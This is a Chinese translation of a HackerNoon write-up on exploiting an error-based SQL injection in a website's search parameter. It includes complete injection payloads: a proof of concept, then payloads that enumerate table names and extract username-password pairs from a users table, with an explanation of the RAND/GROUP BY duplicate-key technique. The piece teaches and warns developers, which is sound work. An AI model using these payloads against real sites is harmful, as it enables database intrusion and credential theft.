利用数据库错误泄漏用户表信息(书面)

利用数据库错误泄漏用户表信息(书面)

原文:https://medium.com/hackernoon/exploit-database-error-to-leak-users-table-informations-writeup-be62b3c86968

大家好

我不太在网上发表文章,因为大多数工作都是在 NDA 的指导下私下完成的,但这次我决定发表这篇文章(在网站所有者同意后匿名),因为太多的开发人员坚持认为你不能利用复杂的SQL,或非结果 SQL(例如:count(*) sql)。

首先,我接到一个朋友的电话,告诉我一个黑客联系了他们,并告诉他们,他在他们的网站上发现了 sql 注入,并表示他打算勒索他们。

我打开网站,试着用参数来检查,几分钟后我在他们的搜索页面发现了一个错误。 搜索页面 make ajax 请求当你过滤结果到页面时,term 参数是不过滤的那个。

/?FilterThemes?tags[]=free&term='

它生成一个带有完整 sql 转储的数据库错误页面(调试模式:)。

ERROR 1064
You have an error in your SQL syntax; check the manual that corresponds to your MYSQL server version for the right syntax to use near '',themes.tag_title) != 0' at line 1SELECT COUNT(*) FROM (`themes`) JOIN `authors` on `authors`.`id` = `themes`.`author` FIND_IN_SET(''',themes.tag_title) != 0 or `themes`.`title` like '%'%' or `themes`.`desc` like '%'%' AND match (themes.tag_title) against ('free' in boolean mode) order by `themes`.`id` desc limit 12

太棒了,但是等等…

该参数首先传递给计数查询,然后再传递给聚合查询..因此,我们的有效负载必须通过这两个查询,并用 union 执行它..

或者…

我记得我们用它来开发盲 SQL 注入的不寻常的方法,这种方法不会对浏览器产生任何结果——这种方法只有在显示错误时才能实现,这比我们在这里所做的还要好,对吧!

概念验证

让我们更改 poc 的有效负载

/?FilterThemes?tags[]=free&term=d%' AND (SELECT 1337 FROM(SELECT COUNT(*),CONCAT('hello',FLOOR(RAND(0)*2),'world')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='

答对了:)

ERROR 1062 
Duplicate entry 'hello1world' for key 'group_key'SELECT COUNT(*) FROM (`themes`) JOIN `authors` on `authors`.`id` = `themes`.`author` FIND_IN_SET('d%' AND (SELECT 1337 FROM(SELECT COUNT(*),CONCAT('hello',FLOOR(RAND(0)*2),'world')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='',themes.tag_title) != 0 or `themes`.`title` like '%d%' AND (SELECT 1337 FROM(SELECT COUNT(*),CONCAT('hello',FLOOR(RAND(0)*2),'world')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='%' or `themes`.`desc` like '%d%' AND (SELECT 1337 FROM(SELECT COUNT(*),CONCAT('hello',FLOOR(RAND(0)*2),'world')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='%' AND match (themes.tag_title) against ('free' in boolean mode) order by `themes`.`id` desc limit 12

注意到了吗:),表情CONCAT('hello',FLOOR(RAND(0)*2),'world')已经求值显示了:)

在我们结束之前,让我解释一下 sql 查询及其工作原理。

有一些关于 MySQL 的信息你需要知道。

  1. 当 mysql 试图运行包含多个子查询的 sql 时,它首先评估子查询,然后评估父查询
  2. 使用 group by 时需要一个唯一键

为了了解更多,让我们在我们的终端上尝试一些查询。

Select count(*) from INFORMATION_SCHEMA.CHARACTER_SETS;

Normal count sql 计算信息方案数据库(mysql 中的默认数据库)中的记录数。现在让我们稍微玩一下这个 sql。

select count(*), version() x from INFORMATION_SCHEMA.CHARACTER_SETS group by x

同样没什么特别的,我们添加了 version()(函数检索 mysql 版本)并将其命名为 x,然后我们按它分组。

+----------+----------------------------------------+
| count(*) | x                                      |
+----------+----------------------------------------+
|       40 | 10.2.3-MariaDB-10.2.3+maria~xenial-log |
+----------+----------------------------------------+
  • 我在我的本地机器上使用 maria db,它是 mysql 的一个分支,但是经过了很多优化

好吧,让我们积极一点

SELECT count(*), CONCAT(version(),floor(rand(0) *2)) x from INFORMATION_SCHEMA.CHARACTER_SETS group by x;

我们添加了一个小变化 ( floor(rand(0) * 2) ) ,如果您运行这个 sql,您将得到

ERROR 1062 (23000): Duplicate entry '10.2.3-MariaDB-10.2.3+maria~xenial-log1' for key 'group_key'

你还记得我之前告诉你的关于 Mysql 要求组密钥唯一的信息吗:)。

( floor(rand(0) * 2) )产生一个序列 0,1,1,0,1,1T16version()将总是相同的。

因此 count(*)的第一次迭代将是

CONCAT(version(),floor(rand(0) *2))

然后

CONCAT(version(),floor(rand(0) *2))

然后

CONCAT(version(),floor(rand(0) *2))

10.2.3-MariaDB-10.2.3+maria~xenial-log**1** = >这里就重复了;)然后我们得到了错误

Duplicate entry '10.2.3-MariaDB-10.2.3+maria~xenial-log1' for key 'group_key'

懂了吗:)

让我们回到我们的剥削。

我们发现了错误,我们发现了漏洞..现在我们需要一些有价值的信息。

从 INFORMATION_SCHEME.tables 开始,我们可以获取表名。

使用简单的脚本,我们可以通过从 db 错误中提取结果来获取所有的表名,只需向脚本提供有效负载。

%d%' AND (SELECT 1337 FROM(SELECT COUNT(*),CONCAT((select TABLE_NAME from INFORMATION_SCHEMA.TABLES LIMIT 1,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) AND '%'='%

现在我们知道了用户表。使用新的有效负载修改脚本以获取用户数据。

%d%' AND (SELECT 1337 FROM(SELECT COUNT(*),CONCAT((select concat(username,'-',password) from users LIMIT 1,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) AND '%'='%

就是这样。

吸取的教训

  1. 在生产中始终关闭错误。
  2. 不要低估任何漏洞,99%的漏洞都可以被利用。

注意安全。

黑客中午是黑客如何开始他们的下午。我们是 @AMI 家庭的一员。我们现在接受投稿,并乐意讨论广告&赞助机会。

要了解更多信息,请阅读我们的“关于”页面在脸书上点赞/给我们发消息,或者简单地说, tweet/DM @HackerNoon。

如果你喜欢这个故事,我们推荐你阅读我们的最新科技故事趋势科技故事。直到下一次,不要把世界的现实想当然!


本站为非盈利网站,作品由网友提供上传,如无意中有侵犯您的版权,请联系删除